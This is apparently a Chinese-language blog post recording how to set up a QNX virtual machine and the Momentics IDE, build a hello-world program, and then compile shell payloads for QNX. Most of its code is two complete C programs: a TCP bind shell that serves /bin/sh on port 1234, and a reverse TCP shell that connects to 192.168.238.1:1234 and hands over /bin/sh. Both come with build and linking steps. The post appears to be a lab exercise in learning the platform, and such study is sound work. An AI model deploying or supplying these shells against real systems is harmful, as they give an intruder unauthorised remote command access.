环境来源
虚拟机 6.5.0:https://www.jianshu.com/p/2a3d7e80a725
官方 6.4.1 版虚拟机:http://www.qnx.com/download/group.html?programid=20840
IDE:https://download.freedownloadmanager.org/Windows-PC/Momentics-IDE-for-BlackBerry/FREE-2.0.html
环境安装
虚拟机直接打开运行就行了,IDE 直接安装就行了,注意安装好 IDE 之后打开选择 workspace 的时候不能包含空格,然后打开会提示没法下载 SDK,不用慌,关了就行,去界面的 help -> Update API Levels 下载就行
QNX 的命令
https://bbs.pediy.com/thread-270996.htm
按着这个手册自己试试就行了,跟 linux 的命令还是有很多重合的
很奇怪,我的镜像里面没有 gdb 啥的,各种命令好像还得看镜像
helloworld
新建一个 QNX C Project
选择架构为 x86
创建好之后看一下 QNX 的 IP,然后运行 qconn
然后给 IDE 加上设备,选择 Window -> Target Navigator
在打开的窗口右键找到这个小摁钮,选择 New QNX Target
先点锤子再点运行
在这里甚至可以直接拖拽上传文件
TCP bind shell
看看咋写程序,结果发现跟 linux 没啥区别,直接用的下面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> int main(void) { int clientfd, sockfd; int port = 1234; //设置绑定的端口 struct sockaddr_in mysockaddr; sockfd = socket(AF_INET, SOCK_STREAM, 0); mysockaddr.sin_family = AF_INET; mysockaddr.sin_port = htons(port); mysockaddr.sin_addr.s_addr = INADDR_ANY; bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr)); listen(sockfd, 1); clientfd = accept(sockfd, NULL, NULL); dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2); char * const argv[] = {"sh",NULL, NULL}; execve("/bin/sh", argv, NULL); return 0; }</unistd.h ></stdlib.h >
|
需要在项目右键选择 Properties
然后找到 QNX C/C++ Project 里面的 Linker,在 Category 里面选择 Extra libraries,再选择 Nx targetzhege 这个
在 x86 的 lib 里面找到 libsocket.so 打开,然后编译运行就完事了
Reverse TCP shell
同理,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void) { int sockfd; int port = 1234; struct sockaddr_in mysockaddr; sockfd = socket(AF_INET, SOCK_STREAM, 0); mysockaddr.sin_family = AF_INET; mysockaddr.sin_port = htons(port); mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1"); connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr)); dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; }</unistd.h ></stdlib.h >
|
最后更新时间: